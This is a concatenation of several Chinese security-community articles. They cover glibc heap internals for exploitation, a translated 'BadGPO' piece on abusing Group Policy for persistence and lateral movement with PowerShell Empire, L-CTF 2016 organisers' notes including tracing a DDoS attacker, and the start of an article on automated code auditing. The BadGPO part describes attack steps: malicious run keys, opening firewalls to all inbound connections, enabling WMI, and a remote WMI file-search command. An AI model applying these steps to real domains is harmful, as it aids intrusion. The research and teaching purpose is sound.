Fastbins[idx=4, size=0x50] ← Chunk(addr=0x602110, size=0x60, flags=PREV_INUSE)
Fastbins[idx=5, size=0x60] ← Chunk(addr=0x602170, size=0x70, flags=PREV_INUSE)
Fastbins[idx=6, size=0x70] ← Chunk(addr=0x6021e0, size=0x80, flags=PREV_INUSE)
注意要分清楚Fast chunk和fast bin是不同的概念，fast chunk的意思是放在fast
bin链表上的chunk。fastbin本身实际上是一个数组，数组的每个元素是一个fast bin链表指针，fast
bin链表指针指向heap中的chunk的地址，而chunk中有fd指针，又指向了下一个free
chunk，因此这样就形成了一个单向链表。当插入chunk的时候是从头部开始插入的，就是先入后出的。
### tcache
这个数据结构是在2.26版本中新引入的，每一个线程都会有一个tcache,目的是不需要再多线程中操作heap的时候给bin加锁，这样就可以更加的迅速。tcache是在分配chunk的时候的第一优先考虑的分配来源，甚至比fast
bin还要优先。
tcache的数据结构与Fast bin类似，都是一个单向链表，都是先入后出的。相关的数据结构源码
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread bool tcache_shutting_down = false;
static __thread tcache_perthread_struct *tcache = NULL;
`static __thread tcache_perthread_struct
*tcache`这个是个全局变量，直接指向了这个tcache数据结构，应该是每个线程都会维护以这个这个全局变量。
tcache_perthread_struct中包含了一个tcache_entry数组，元素有64个，代表着64个链表，也就是说以供会有64个单向链表组成一个tcache，每个链表上也是与fast
bin一样都是记录的相同大小的某个size的chunk。但是与fastbin不一样的是，单向链表的长度是有限制的，不能超过7，当超过7个的时候就会往对应的bin上进行分流，同样可以通过GEF的heap
bins tcache去查看。64个链表维护的chunk大小范围为0x20-0x410,间隔是0x10.
### Unsorted， Large 和 Small bins
Unosrted, Large 和 Small bins联系的比较紧密，他们都是在一个数组中的，而fastbin 和tcache都是有自己单独的数组的。
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
bins这个数组中的第0个元素空置，第一个元素就是指向unsorted bin list的指针，紧接着的62个元素都是指向samll bin
链表的指针，后面63个指向的是Large bin链表的指针。
如下图所示的结构图
Unsorted bin链表，这个主要是用来存放刚被释放的chunk，被free释放掉的chunk并不会直接回到对应的fast bin或者small bin
large bin中，而是先回到unsorted bin，以供后面malloc的时候更加快速的使用。
* 这是一个双向链表，与fast bin链表不同是它多了一个bk指针
* 这个链表上的大小并不是固定的，任何大小的chunk都可以到这个链表上来
* 当出现malloc_consolidate，就是一次对heap的整理，就会把unsorted bin重新放到各自对应chunk size的链表上
Small bin的每个链表存放的元素的大小的都是相同的，对于大小不大于0x400(64bit)的chunk会被放置在这个链表上
Large
Bin使用来存放超过0x400大小的chunk的，但是这些链表上的chunk的大小并不一定是相同的，而是有一个范围的，比如对于0x400到0x420(仅举例)的chunk都放在第一个large
bin的链表上。
### Top chunk
是在当前在用的堆区的最顶部，它不是属于任何一个bin，是一个之前调用mmap或者sbrk从内核中分配的内存还剩下未用的区域。如果用户请求的size在所有的bin和tcache中都没有满足，就会从top
chunk开始分配，剩下的未用的chunk则是新的top chunk。
如果当前用户请求的size连top chunk都满足不了，则会继续调用系统调用mmap或者sbrk扩展堆区，就是扩展top
chunk。然后再把chunk返回给用户。
top chunk是所有分配的源头，第一个malloc肯定是从top chunk中分配的，因为此时所有的bin和tcache都是空的
### 各种bin和chunk在内存中的示意图
malloc_chunk就是chunk header，是一个chunk的开头，无论malloced或者空闲的都有这个header.
### Main Arena
Main Arena实际上就是一个对heap的抽象的数据结构，它包含了对各种bin的定义，tcache的定义，top
chunk的定义，都是在这个数据结构中的，它在初始化的时候是作为一个全局变量保留在全局区域的。
当我们在GEF中调用heap相关的各种命令实际上都是通过对这个变量的读取来解析的。
gef➤ heap bins
[+] No Tcache in this version of libc
────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────
[+] Found 0 chunks in unsorted bin.
────────────────────── Small Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────── Large Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤ x/20g 0x7ffff7dd1b20
0x7ffff7dd1b20 <main_arena>: 0x0 0x602000
0x7ffff7dd1b30 <main_arena+16>: 0x0 0x0
0x7ffff7dd1b40 <main_arena+32>: 0x0 0x0
0x7ffff7dd1b50 <main_arena+48>: 0x0 0x0
0x7ffff7dd1b60 <main_arena+64>: 0x0 0x0
0x7ffff7dd1b70 <main_arena+80>: 0x0 0x602120
0x7ffff7dd1b80 <main_arena+96>: 0x0 0x7ffff7dd1b78
0x7ffff7dd1b90 <main_arena+112>: 0x7ffff7dd1b78 0x7ffff7dd1b88
0x7ffff7dd1ba0 <main_arena+128>: 0x7ffff7dd1b88 0x7ffff7dd1b98
0x7ffff7dd1bb0 <main_arena+144>: 0x7ffff7dd1b98 0x7ffff7dd1ba8
### Consolidation
由于多次的释放和malloc会不可避免的出现很多小的chunk，这就有可能有两个连续的chunk虽然都是空闲的，但是由于是两个独立的chunk，在malloc使用的时候并不能将他们作为一个chunk返回，因此就会降低内存的使用效率，为了减少碎片，就需要在合适的时候将这些相邻的空闲块给合并成一个大的chunk。
合并的函数就是malloc_consolidate, 调用它的时候就会对空闲块进行合并，那么这个函数的调用条件有什么呢:
malloc large bin的时候，当需要很大的chunk的时候，就会调用这个函数先进行一次合并，看看会不会多出来一些可以用的chunk。
当top chunk中的空间不够用的时候
free函数之后，会对chunk进行前后合并，如果这个合并后的chunk size大于FASTBIN_CONSOLIDATION_THRESHOLD，也会调用一次
### 与堆利用相关的
我们前面先简单介绍了一下与堆相关的一些基本概念，虽然没有覆盖完全，但是与堆利用相关的已经基本列出，更加详细的认知需要在漏洞利用的过程中再去学习。
下面列出对漏洞利用的知识体系的基本框架
我们要想进行堆利用，就需要首先发现一个与堆相关的漏洞，UAF，堆溢出，double
free这些，然后我们通过这个漏洞去修改一些chunk，这些chunk肯定是属于某个bin
链表或者tcache中，然后我们再借用house的各种方法去实现更复杂的利用方法。虽然还有很多方法没有列出，但是我们可以先掌握这些最基本的，这也是我在这个系列文章中要覆盖到的一些方法。
## 参考
1.<https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/>
2.<https://guyinatuxedo.github.io/25-heap/index.html?search=> | 社区文章 |
# 【技术分享】BadGPO：组策略对象在持久化及横向渗透中的应用
|
##### 译文声明
本文是翻译文章，文章来源：www.sicherheitsforschung-magdeburg.de
原文地址：<http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_052_Willi_GPO.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
组策略（Group
Policy）是Windows提供的一种功能，可以为操作系统、应用以及用户设置提供集中式的管理及配置功能。对于网络中基于活动目录域服务（Active
Directory Domain Service、AD
DS）的计算机以及用户设置来说，组策略是访问并配置这些组件的最为简单的一种方法。企业环境中广泛使用组策略来控制客户端及服务器配置选项，如注册表设置、安全选项、脚本、文件目录、软件安装及维护等等。具体的设置信息存放于组策略对象（Group
Policy
Objects、GPOs）中，对于已被攻击者突破的域而言，攻击者可以滥用GPO，通过欺诈方式进一步自动化地传播恶意软件、实现持久化驻留目的。Phineas
Fishers写过一篇如何搞定HackingTeam的文章，我们的灵感正是源自于此，在这篇文章中，我们会向大家介绍如何利用GPO在已被突破的企业网络中实现持久化及横向渗透，也会展示我们创建的某些Powershell
Empire模块。Powershell
Empire框架包含各种广泛使用的Powershell工具，攻击者经常在已突破的环境中，根据实际需求利用这一框架进一步破坏系统。Powershell
Empire框架中已经内置了一些GPO功能，我们想在其他场景中进一步拓展GPO的能力。此外，我们也会在本文中讨论一些应对措施，包括检测及防护机制等。
**二、具体分析**
****
当售卖间谍软件的意大利公司被突破后，去年有人发表了一份报告介绍了整个攻击的具体过程。同样也是这个人成功搞定了一个销售木马及其他黑客工具的德国英国合资公司，这一事件也上了新闻头条。这份报告由攻击者自己发布，对攻击中用到的技术做了深度的分析。报告的结论非常吸引人，因为这类攻击属于传统意义上的高级持续威胁（Advanced
Persistent Threat，APT）攻击。此类攻击者通常更为细心，以便长期潜伏在目标网络中，攻陷更多系统，收集大量数据。
分析这份报告的同时，我们注意到一下两段话：
1、远程管理（第565行）
5）GPO
在这些协议已经被防火墙禁用或者阻拦的情况下，如果你是域管理员，你可以使用GPO给用户设置登录脚本、安装msi文件、执行计划任务，或者使用GPO来启用WMI并打开防火墙。
2、持久化（第726行）
对企业目标来说，持久化不是一个必需的选择，因为企业永远不会入睡。我一贯使用方法是类似于Duqu
2的持久化技术，即在多台长时间运行的服务器的内存中运行后门程序。
在报告的第一部分中，作者将GPO作为攻击性工具的想法非常有趣。使用GPO来传播恶意软件或者部署非法配置是一种非常有效的方法，因为当恶意软件经过GPO进行传播时（这种方法类似于PowerShell的使用），这一过程利用到了Windows域管的身份以及合法的系统内置工具。恶意软件可以利用GPO穿越IDS/IPS等防火墙，最终访问到域内所有的系统。此外，GPO的另一优点就是攻击过程期间并不需要目标系统在线，一旦离线状态下的目标系统重新登录到域中，恶意的GPO载荷就会被投递到目标系统。即使首次攻击发生于几星期之前，这种持续性攻击同样能够奏效。此外，GPO经常随着时间的推进而不断增长，在微软活动目录中的存储及链接状态也会越来越混乱，并且管理员经常会忽略命名约定，很少会去删除已经失效的GPO，这些都给攻击者滥用GPO创造了良机。
报告的第二部分中比较有趣的一点，是作者将后门部署在非常稳定的服务器的内存中，以保持对目标网络的持续控制。当被注入后门的系统重启后，内存型后门马上会失效。但这一情况不会对高度稳定的多个服务器造成影响，因为这些服务器不可能在同一时间重新启动。
系统管理员会使用多种工具对公司进行管理。与此类似的是，黑客攻击者或者渗透测试人员也会在APT场景中使用多种工具来进一步渗透目标环境。这类框架提供了各种各样的功能选项，比如管理目标系统、评测更多目标、部署后门、提升权限或者窥探用户隐私等。
大约1年之前，PowerShell Empire这一强大的框架诞生了，能够满足以上提到的所有需求，并且也处于不断的发展中。模块化的PowerShell
Empire最大的一个优点就是在目标系统中只会留下非常少的痕迹。反病毒软件或者端点防护软件并不会将PowerShell命令的执行识别为恶意行为，因为PowerShell是Windows系统中内置的合法工具。
此外，工具与命令控制（Comand &
Control）服务器的通讯也经过加密处理，并且大多数模块能够不依托目标系统的硬盘，完全在内存中执行。由于恶意代码完全没有接触硬盘，因此反病毒软件以及端点防护软件更加难以检测此类攻击。如果攻击中需要将数据保存到硬盘中，Empire模块的开发者建议攻击者将该模块的opsec-safe属性去掉。
结合以上两部分内容提到的思想，我们开发了多个PowerShell
Empire模块。这些模块利用GPO实现了自动化处理过程，能够为合法的渗透测试者提供帮助，也能为红队人员的后续渗透工作提供支持。唯一的前提条件就是使用者必须已经获得域管级别的访问权限。
我们开发完成的模块如表1所示。
表1. 已开发的模块
为了完成不同的目标，这些模块需要以多种方式组合使用，如图1所示。
图1. 使用GPO攻击目标网络
**2.1 场景1：内存中的模块**
攻击者会在本地启动一个PowerShell
Empire监听端（Listener），然后在目标域控上运行对应的启动端（Launcher），再回连到监听端。由于大多数防火墙都不会阻拦出站端口，因此连接可以顺利建立。攻击者可以使用getGPO模块，读取所有的GPO信息，记录这些GPO的UUID，并且添加恶意的设置内容（如图2所示）。通过setGpRegistryValue模块，攻击者可以在目标主机上创建run或者run
once注册表键值。
图2. PowerShell Empire中的getGPO模块
这些模块可以再次执行包含启动端的PowerShell代码，从目标系统内回连至攻击者。
**2.2 场景2：操控Windows防火墙并启动服务**
在另一个场景中，攻击者创建了到域控服务器的连接。攻击者在这个场景中的目标是操控Windows防火墙规则、启动WMI（Windows Management
Instrumentation）服务，然后在经过安全加固的环境中执行远程发送的命令。首先，攻击者可以使用getGPO模块读取已有的组策略。找到合适的GPO之后，攻击者可以使用newGpFirewallRule模块将恶意防火墙规则添加到GPO中（如图3所示）。这个规则能够允许任意入站TCP连接连入目标系统。newGpSetServiceStatus模块可以启动目标系统上的WMI服务。默认情况下，GPO需要等待90分钟才能发挥作用，为了绕过这一限制，攻击者可以使用invokeGPUpdate模块，第一时间启用WMI服务的远程访问。
图3. PowerShell Empire中的new_GPO_Firewall_Rule模块
一旦拥有多台目标主机的远程WMI访问权限，攻击者就可以执行其他操作，比如搜索本地文件等等。与在远程桌面协议（RDP）连接中手动搜索文件相比，这种搜索文件的方式显得更具可扩展性、更加快速以及更为隐蔽。
对于虚拟的Corp.com这个公司来说，一旦域内所有系统的防火墙处于无效状态，并且WMI服务器处于启用状态，那么被修改的GPO会推送到所有可达的系统中，攻击者可以向WMI服务远程发送命令。
为了远程搜索某个本地文件（如proof.txt），攻击者可以在C盘上使用如下WMI命令：
Get-Content <list of IPs> | ForEach-Object {Getwmiobject CIM_DataFile -filter »Drive=’c:’ AND Filename=’proof’ AND extension=’txt’ -Impersonate 3 -computername $_ | Select PSComputername, Name -Unique}
结果如图4所示。
图4. 使用远程WMI搜索本地文件
**三、相应的防御策略**
****
通常情况下，被恶意利用的域管账户是一个严重的安全隐患，并且需要花费很多时间才能解决这一问题。管理员应该立刻禁用具备管理员权限的可疑账户或者重置管理员账户的密码。然而，为了确保未经授权的第三方人员访问内部系统，我们还需要具备更多的专业知识。
我们可以使用如下防御策略：
1、定期审核GPO。
2、为GPO使用定义清晰的命名约定。
3、修改入侵检测系统，覆盖如下范围：
（1）记录GPO的创建动作
（2）记录GPO的修改动作
4、限制管理员用户的权限。
5、限制运行管理工具所能获得的访问权限。
在我们的研究过程中，我们提取了域控服务器上组策略文件夹的哈希值以便后续使用。利用之前提取的哈希信息，我们能避免攻击者对GPO的恶意篡改。类似的策略已经在基于主机的入侵检测系统中使用过。
与其费尽心思修复被突破的系统，我们不如采取预防措施，使APT攻击者的攻击难以奏效。典型的APT场景通常可以分为四个阶段：准备阶段、感染阶段、部署阶段以及驻留阶段。这些阶段是一个循环过程，在最初突破目标网络后，攻击者可以不断重复这些过程拓展攻击行动。APT攻击的生命周期如图5所示。
图5. APT生命周期
不幸的是，目前我们尚未掌握一体化的解决方案来预防APT攻击。根据APT攻击的不同阶段，我们建议采用不同的措施，如：
1、（Web应用）防火墙。
2、对网络进行切割。
3、使用网络访问控制（NAC）策略。
4、主动安装软件及操作系统更新包。
5、对暴露在互联网中的系统或高度机密/敏感的系统部署多因素认证机制。
6、监控安全事件。
7、定期进行渗透测试。
8、进行IT安全意识培训。
9、根据“最小权限”原则限制访问权限。
10、部署端点控制软件。
11、使用应用程序白名单。
12、与同行业的其他公司建立安全联盟。
“深度防御”原则指的是使用多层次的安全控制策略以缓解甚至阻止攻击活动，节省出来的时间可以用来检测攻击者正在进行的攻击活动。我们部署的安全策略越多，攻击者所需要付出的成本及资源也就越多。APT生命周期中每个阶段都应该包含多条防线。防御网络越紧密，攻击者可以利用的突破点就越少。 | 社区文章 |
# 【CTF攻略】L-CTF 2016 出题心得&花絮集锦
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
3日上午九点，第一届L-CTF落下帷幕，排行榜定格在下图的状态中：
从9月20日比赛筹备开始到现在，参与比赛组织、筹办的每个人都收获良多。特将部分题目的出题人心得，和比赛中一些有趣的事情分享出来，以飨读者。
**关于出题**
**Icemakr（Pwn出题人）**
If your problem relies on leaking libc, consider providing the libc.so along
with the problem binary. libc hunting isn't really an interesting skill to
test in a CTF.
关于Pwn100，出题时就想着，PWN100简单粗暴的栈溢出就好。PWN200当时是想试一下house of
spirit的技巧，就是在栈上构造堆块，然后通过free和malloc之后得到一个栈上的堆块，就可以对这块缓冲区写东西了（比如覆盖返回地址），但实际情况是没有考虑到覆盖got表里的函数地址为shellcode的地址即可get
shell（<https://gbmaster.wordpress.com/2015/07/21/x86-exploitation-101-house-of-spirit-friendly-stack-overflow/>，<https://github.com/shellphish/how2heap/blob/master/house_of_spirit.c>）。
PWN300设计时的初衷是想让选手自己通过查共享库的文件头，然后找到符号表，从而获得共享库内函数信息的方法来getshell（<http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html>），Pwn400则希望选手构造一个虚表，利用uaf来修改虚表指针指向构造好的虚表，在下一次调用虚函数时即可控制程序执行流。PWN500就是让大家构造overlapping
chunks，来做一些羞羞的事(<http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf>)
**Silver（逆向400、500出题人）**
这次出的题让各位见笑了……哈哈哈（掩饰不住得意/*weisuo*/的笑）。
先说Re400啦，题目标题是The Gold Rush，淘金热。各位应该已经看到我们放出的 Writeup
了，在我的设计中，Re不只是一道对程序主文件（problem_fully_stripped）的逆向题，因为这个程序里涉及的算法比较多（sha256,
sha384,
twofish），而用C++编写也提升了一点点难度，因此在我的思路中是希望选手通过对程序流程的理解和405480处函数的分析，并结合对magic_file的逆向分析，了解到这是在挖矿，然后去网络中找到对应的nonce值。之所以在比赛中段放出了提示bitcoin，也是希望提示参赛队伍这是一道和比特币密切相关的题。
后期和队伍交流时也发现，两支解出来的队伍（跌亭科技、Nu1L）基本就是这个思路，不再赘述，可见逆向能力很强。但比赛结束后我发现AAA有一种更好的解法[[点击查看他们对Re200和500的wp](https://www.zybuluo.com/Aqua-Dream/note/520182)]，但是没来得及提交。这种解法利用的是我在出题设计时候的漏洞：密钥的解密参数是用各块哈希值的sha384生成的，但各块的哈希值是可以从数据中直接拿到的，也就是说，选手可以先对程序进行patch，然后在magic_file后附加一个块，写入最后一个块的hash值，再直接运行程序，就可以了。这个漏洞的引入还是因为我不希望大家直接去爆破nonce的哈希，所以就取了整个块的hash……无意之中忘掉了这一点……然而更可惜的是，如果他们能把这个题目漏洞提交上来，按我的想法，至少能拿到100分以上的加分（因为这个洞会导致题目难度至少降低100分），在此还是要表达对AAA战队队员逆向功底和思路的钦佩，师傅们还是强的不要不要的啊。
而Re500，在设计之初是希望将软件逆向和硬件逆向结合起来，题目的名字Halt and Catch
fire是一部讲述上世纪80年代个人计算机发展的美剧，其第一集讲述的就是主人公通过自己搭建的硬件电路，dump出BIOS芯片内的代码。我甚至还构想过在线下赛融入相关的内容，只可惜由于种种原因，线下赛不能举办，这个思路也只能留作以后使用了。
斗胆出了这么两道题，如果有哪些地方见笑了，还请海涵。
**math1as(web 300、500出题 **人** )**
😀
从这次比赛的情况看来各位表哥都很厉害,这次我出题的时候呢，web300的主要思路还是二次注入,比较常见。而headpic这个标题是从经历过的一个实际的渗透案例出发的,比较现实的换头像产生ssrf,另外我又在想,对于某些问题是否可以让web有更多种解法,更偏实战一点,于是就有了验证码的两种解决方案,1是识别,2是从session绕过。最后的登陆呢,则是考察到了其他题目没有怎么关注的php类型和函数的问题,通过strcmp函数的缺陷来完成最后的flag收割。
web500作为一道分值很重的题目,实际上是一道实战渗透+内网+提权的题目,之所以外部的web选择了python,
一个是感觉web如果全是php就太low了233(。虽然php的确是世界上最好的语言,另一个是,说不定不同的语言特点和框架可以让大家能够有更好的思路呢。比较实际的点就是那个积分转现金,并发数据库不加锁定的问题,经典的案例是wooyun的白帽子奖金提现,命令注入则部分参考了hitcon
2015的一道题目,最后的内网渗透则是从某个js混淆中获得的灵感（<http://www.cnblogs.com/index-html/p/use_vm_protect_js.html>），也顺手黑一下易语言。当然呢留下的小惊喜是,居然还有本地提权~,不过这算是一个常规题目了，我这个web狗看了下都能做hhh。
**
**
**关于比赛**
**进入L-CTF时代**
我们的比赛在20日就开始出题，22日开始尝试和相关部门沟通，之后我们就联系了补天漏洞响应平台，对方也非常支持我们，同意作为比赛的赞助方。在出题和相关工作基本就绪后，在补天平台的帮助下，我们28日晚上在多个渠道推送了比赛的相关信息，也得到了圈子里很多朋友的大力支持。非常可惜的是，在30日早上，我们收到了有关部门的通知。在和多方联系后，为了让比赛能正常的进行下去，我们将比赛更名为L-CTF，因为参与出题的成员基本都是XDSEC以及L-Team的主要成员。
可能和一部分人想的不一样，我们争这个比赛，不是对利益有什么追求——事实上前几届的比赛，我们也没有从比赛中拿到什么经济利益。我们在意的是比赛历史的传承，和比赛质量的延续。作为主办方，大家一是希望能通过举办这场比赛，认识更多的朋友，毕竟CTF比赛是需要大家一起玩才能继续下去的；另一方面，我们也希望通过举办比赛，提升我们自己的技术水平，从各位大佬们讨得一点技巧。
从攻防角度看，CTF比赛的主办方类似于防守方，而选手类似于攻击方，大家互相在这种过程中提升技巧。在出题过程中，我们也一直希望让CTF更贴近实战（“享受实战艺术的非职业CTF队伍”），而不是为了出题而出题。
我们的比赛向来如此。无论今后如何，我们都不会变，会尽量向各位提供一个良好的比赛环境。也希望各位今后能支持我们的L-CTF。
长路漫漫，感谢有你。
**搅屎棍、抗扫描和DDoS风云**
搅屎棍一直是CTF比赛中一个有趣的话题，我们在赛前准备的时候自然也想到了这一点。我们预计到的最坏的情况，是某台服务器由于配置不当被拿到了管理权限，因此在部署的时候我们特意采用了前后端分离的结构，这样前端可以快速过滤掉部分很明显的垃圾流量；同时对前后端的每台服务器都做了镜像，保证系统被修改后能快速恢复，前端被攻击也可以不影响后端业务正常运行。这一点也是我们能对一些特殊情况作出响应的关键。
但没想到的是在29日晚上，还是被搅了一波，有搅屎棍使用脚本批量注册了一批帐号上去。后端的维护人员看到之后，紧急上线了某公司的图片验证码（他们的平台在注册帐号后提供了有时限的体验服务），并后台上线了一个批量删除的功能。中间因为他们SDK的文档前后端不完全对应，还花了一点点时间调整，中间网站后端也多次波动，给大家带来了一点不便，主要还是因为我比较菜……
另一个被搅屎的，是部分Web题目，竟然有人直接上了扫描器（目测御剑），由于我们的题目设计问题，直接把服务扫挂了……前期使用了一个脚本，隔一段时间重启一次服务，后来大家觉得不够黑客，太Low，于是索性在前端上做了一点防护，简单的过滤掉了一些看起来就没可能的请求，在某种程度上也算节省了大家的时间（毕竟Nginx比Tornado快那么一点点）。
最后要提到的就是给了我们一点压力的DDoS攻击。10月1日17点，我们实验室所在的楼层由于需要进行电路检修临时停电，之后负责服务器运维的小伙伴收到腾讯云发来的短信，说我们的主服务器由于被DDoS而拖入黑洞。我们完全没有对这种情况作出预案，因为我们从来没想到，有什么人或者什么组织，会用DDoS这种方式给我们压力。在评估了情况后，我们在30分钟内快速响应，将前端服务器部署到了另一台机器上，启用了新的IP，并联系了某公司的某抗DDoS产品，他们为我们提供了防御服务（特此表示感谢）。
事后我们查看被黑洞主机的日志，发现对方早在当天中午一点和三点就各发动了试探性的1G的攻击，之后在五点发动的一波8G的攻击，将我们的机器拖进了黑洞，可见对方有一定经验，用最小的代价（10G）就让我们的服务无法正常访问。在切换到新的服务器后，我们发现攻击者还有一点残余流量，因此晚上我们也通过一些方式进行溯源，在60分钟内，根据肉鸡的IP地址逐步反查，和攻击者取得了联系。
当时ctf.l-team.org指向腾讯云的服务器119.28.17.228，得知遭受DDoS攻击后，通过某蜜罐数据抓到中控IP为104.*.*.35和192.*.*.11，并且大多使用XorDDoS类型的木马。通过黑客使用HFS服务器，抓到样本如下MD5
(xx) = 16aafd07797366c7c9**********c58e，MD5 (uu) =
38632540b5a743ceda**********c706。随即对该中控IP的域名解析的历史解析进行排查，发现该黑客所使用的ip绑定多个域名，并开启whois隐私保护，然而百密一疏，从54**.x*z发现了其使用的邮箱6*@qq.com。进一步社工得到其真实信息，包括姓名及其常用id等信息。通过与黑客直接接触，他们称是有人希望他“对自己公司的服务器做一个24小时的压力测试”，并直接给出了我们主服务器的IP地址。
之后的几十个小时，直到比赛结束，除了偶尔被扫描一波以外，一切风平浪静。
**因吹厮挺**
还有很多事情，无法一一详录，于是一概记到这里，也是希望和大家分享我们这次比赛的苦与乐。
这次比赛的出题组成员，绝大多数都是第一次为CTF比赛出题，甚至很多人之前从来没有出过题；
赛前宣传时，我们本来打算将宣传口号定为“暴打出题人”，后来因担心自己人身安全而作罢；
这次比赛正好赶上silver的摄像头到货，因此他自作主张，在B站借用帐号，开了个直播间。直播过程不仅给大家带来了很多欢乐，还额外附送了一堆新鲜的表情包。负责“坐台”的silver也获得了新成就”色情男主播“，听说他现在准备打包行李回老家直播写代码；
比赛过程中，作为运维的klaus基本没怎么睡，3日比赛结束后，他马上从实验室回到宿舍去补觉了，实际其他人也都差不多。但当晚上招呼大家撸串时，klaus的样子完全不像是刚刚睡醒……；
比赛的几天里，大家在实验室基本靠外卖存活，“西电信安协会”俨然成为“西电外卖协会”，以至于外卖老板都知道这里还有人在。比赛QQ群和内部交流群里的大佬们在得知我们的情况后，很”贴心“的上传了朋友圈里的美食图片……不过我们也没闲着，赛后撸串的时候也很贴心的分享了一些图片。
比赛时，所有的题目一血记录不是在屏幕上展示的，而是在一块小白板上展示的，因为协会前端人才稀缺，而且之前并没想到写前端……；
………………
**最后**
窗外早已繁星点点。回想起我们经历的这最难以忘怀的72小时，感慨万千。感谢在协商过程中帮助过我们的老师们、同学们，感谢前期给我们提供重要支持、并在赛后为参赛队伍提供奖品和证书的360补天漏洞响应平台，感谢在比赛中发挥出色的参赛队伍、队员们，感谢在紧急时刻支持过我们的伙伴们、朋友们，感谢在比赛运行过程中起到重要作用的协会成员、元老们。
西电信安协会[XDSEC]由西安电子科技大学08、09届学长们由兴趣聚成，作为校内第一个信息安全团体不断发展至今，L-Team则是由协会核心成员组成的CTF战队。我们今后也会一直努力，争取在技术水平上有更高的进步。
感谢各位安全爱好者对XDSEC的支持与信任，感谢大家一路上对我们和关心的照顾。
不忘初心，方能始终。
共勉； | 社区文章 |
**作者：MyKings
作者博客：<http://mykings.me/>**
代码审计一直是企业白盒测试的重要一环，面对市场上众多商业与开源的审计工具，你是否想过集众家之所长来搭建一套自动化的扫描系统呢？也许这篇文章会给你一些思路：）
## 一、背景
### 1\. 为什么需要自动化扫描？
互联网的快速发展，程序员是功不可没的。从软件开发的瀑布模型到现在的敏捷开发,
软件的开发周期从数年到数月、从数月到数天，时间不断变换缩减。传统的代码扫描方式已经不能跟进新时代的软件开发流程中，这就需要改变我们的代码扫描方式，它应该在有限的时间内尽量发现足够多的安全问题，并能够结合
[CI (持续集成)](https://baike.baidu.com/item/%E6%8C%81%E7%BB%AD%E9%9B%86%E6%88%90)
来触发代码扫描。
### 2\. 自动化扫描时扫描引擎用什么？
你可以使用任何提供 API
接口的开源或商业的扫描引擎。这里我们把`扫描引擎`(指第三方的审计工具)与`自动化系统`剥离(解耦)开来，`扫描引擎`只负责安全漏洞扫描；`自动化系统`负责漏洞收集、分析、处理等动作。同时你也可以通过`自动化系统`的后台来添加一些安全规则。
### 3\. 怎么触发自动化扫描？
两种方式：
* 管理后台手动触发
* CI(持续集成)/[CD(持续交付)](https://baike.baidu.com/item/%E6%8C%81%E7%BB%AD%E4%BA%A4%E4%BB%98) 系统中触发
### 4\. 如何解决漏报和误报？
两种方式：`基于规则`和`基于插件`，这里使用白名单表示误报、使用黑名单表示漏报。
**基于规则**
这里的规则是指基于文本的处理方式，如：使用正则表达式来匹配文件中的某些特征，使用字符串来判断是否存在敏感信息等。
PS: 这里有一些细节需要注意。
_a. 正则表达式：_
* 是否区分大小写
* 是否支持多行匹配
_b. 字符串：_
* 是否首部包含
* 是否尾部包含
* 是否在当前字符串中
**基于插件**
插件的自由度较大，其本质是把要扫描的文件信息作为插件执行入口的上下文，文件信息包括：路径、名称、内容等。你也可以在插件中写一些判断逻辑或调用第三方工具。
### 5\. 漏报率和误报率怎么样？
漏报率暂时无法很好的测量， **漏报率 = 漏报数/(漏洞数+漏报数) × 100%**
而实际中很少有人(这里指非安全审计人员)会发现漏报，理论上你写的规则或插件越多越会减少漏报。
误报是可以通过白名单规则或插件处理的，理论上可以百分百消除误报，但是需要手动进行设置。
### 6\. Web 通用型漏洞可以都覆盖么？
Web 通用型漏洞以 OWASP 2017 TOP 10 为例，其大多数都在黑盒测试的范围内。适用白盒测试仅限于：`A3:2017-Sensitive
Data Exposure`、`A9:2017-Using Components with Known
Vulnerabilities`，而这两项也是我们自动化扫描系统的基本要求。
### 7\. 扫描出来的漏洞如何形成闭合？
这需要结合公司自身的软件开发方式而定，大多数公司采用`Gitlab` \+ `Confluence` \+ `Jira` \+
`Jenkins`的工作方式，那么我们可以通过 Jira 或 Gitlab 的 API 接口来创建问题工单。
## 二、设计要求
### 1\. 目标
**系统功能：**
* 尽量发现足够多的安全问题
* 硬编码问题
* 敏感信息泄露
* 使用存在已知漏洞的组件
* 危险函数识别
* 可集成第三方扫描引擎
* 可自动化处理误报
* 可通过 CI 方式触发扫描
* 可根据条件自动创建 Issue
扫描目标主要分为两种：一种为线上 Git 扫描；一种为离线扫描。`线上 Git 扫描`其主要应用场景为企业内部使用如 Gitlab
这种代码托管系统，我们定时同步 Gitlab 上的项目信息，通过 CI 来调用 API 接口进行扫描，自动化扫描就是这种模式，其执行流程为：“
**后台服务定时同步项目** ” -> " **API接口下发扫描任务** " -> “ **后台调度执行扫描**
”。`离线扫描`其形式为审计人员手动上传一个 zip 或 rar 的源码包，扫描系统自动解压后进行代码扫描。
这两种模式的执行流程略有不同，所以后端实现也略有不同，第一种的执行流程要比第二种较为复杂，我们这里会以第一种方式来实现自动化扫描。
### 2\. 要求
**系统要求：**
* 单个项目扫描控制在 20 分钟以内
